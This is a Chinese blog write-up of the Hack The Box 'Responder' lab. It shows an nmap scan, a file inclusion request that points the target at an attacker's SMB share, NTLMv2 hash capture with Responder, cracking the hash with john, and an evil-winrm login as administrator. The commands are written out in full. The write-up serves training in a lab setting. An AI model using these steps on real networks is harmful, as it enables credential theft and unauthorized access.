栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

STARTING POINT TIER 1 Responder

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

STARTING POINT TIER 1 Responder

STARTING POINT TIER 1 Responder

这一关学到了很多,首先nmap扫一下

└─$ sudo nmap -sV -sS 10.129.140.169 -p 1-10000

PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open  http       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7680/tcp open  pando-pub?

扫出了3个端口,其中一个是Apache应该存在web服务

5985端口的Microsoft HTTPAPI httpd 2.0是SQL Server中的SQL Reporting Service 服务使用的Microsoft HTTPAPI。

在浏览器中输入[ip-address]后重定向到unika.htb,但是因为我们的host里没有这条域名解析,当然外面的DNS服务器也没有。所以要在我们的/etc/hosts里配置一下。

echo "[ip-address] unika.htb" | sudo tee -a /etc/hosts

进入浏览器后发现存在文件包含漏洞,而这不是我想写的重点。

下面是重点

NTLM

NTLM是Microsoft创建的一系列认证协议,是challenge-response认证机制,用于在Active Directory域中验证客户端到资源的身份。

它是一种单点登录(SSO),因为它允许用户仅在登录时提供一次底层身份验证因素。

NTLM的工作方式:

  • 客户端发送用户名给服务器。
  • 服务器返回一个称为challenge的随机哈希。
  • 客服端根据challenge和用户密码生成一个哈希password值,并发送给服务器就像一个response。
  • 服务器生成该用户的密码哈希值并与response里的值比对。
  • 如果值匹配则认证成功,如果失败则客户端将被拒绝访问。

下面将使用一个新的工具Responder,这个工具需要下载,Kali手册responder Usage Example;Github地址Responder

Responder

Responder在线路上侦听NetBIOS和LLMNR广播和组播请求,以获取来自本地子网中其他机器的主机名。

当Windows机器无法通过DNS或它们自己的本地主机文件解析主机名时,通常会使用这些协议。

先进行监听,手册responder Usage Example

通过-I指定tun0网络接口

└─$ sudo responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.1.0

但是在本关中,Responder假装扮演一个SMB服务器的角色,使用上面提到的文件包含漏洞包含本机的任意文件后,目标机器向本机请求资源。

http://unika.htb/index.php?page=//10.10.16.9/home

这时Responder要求目标机器进行NTLMv2认证。NTLMv2是一个加强认证机制以替代NTLMv1。

请求资源后,shell将会出现如下信息。

[+] Listening for events...                                                                 

[SMB] NTLMv2-SSP Client   : ::ffff:10.129.140.169
[SMB] NTLMv2-SSP Username : RESPONDERAdministrator
[SMB] NTLMv2-SSP Hash     : Administrator::RESPONDER:807bdbf51...

我们将该Hash交给Hash爆破工具john

└─$ echo "Administrator::RESPONDER:807bdbf51..." > hash.txt
└─$ john -w=/usr/share/wordlists/rockyou.txt hash.txt
...
badminton        (Administrator) 

爆出密码badminton

使用一个evil-winrm进行连接

└─$ evil-winrm -i 10.129.140.169 -u administrator -p badminton

然后查找flag

*Evil-WinRM* PS C:UsersAdministrator> Get-Childitem -Path C: -Include *flag* -File -Recurse -ErrorAction SilentlyContinue

因为非常不熟悉PowerShell找了好久才找到一个可以用的指令Get-ChildItem

然而想找一篇通俗易懂的博客也非常不容易Use Windows PowerShell to search for files

-Path: 指定查找路径
-Include: 指定匹配的字符,可使用通配符*
-File: 用于获取文件列表。还可以将-Recurse参数与-File参数一起使用。
-Recurse: 获取指定位置中的项目以及该位置的所有子项目。
-ErrorAction SilentlyContinue:忽视错误信息,继续执行命令

找到路径后用Get-Content获取内容

*Evil-WinRM* PS C:UsersAdministratorDocuments> Get-Content C:UsersmikeDesktopflag.txt
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/890457.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号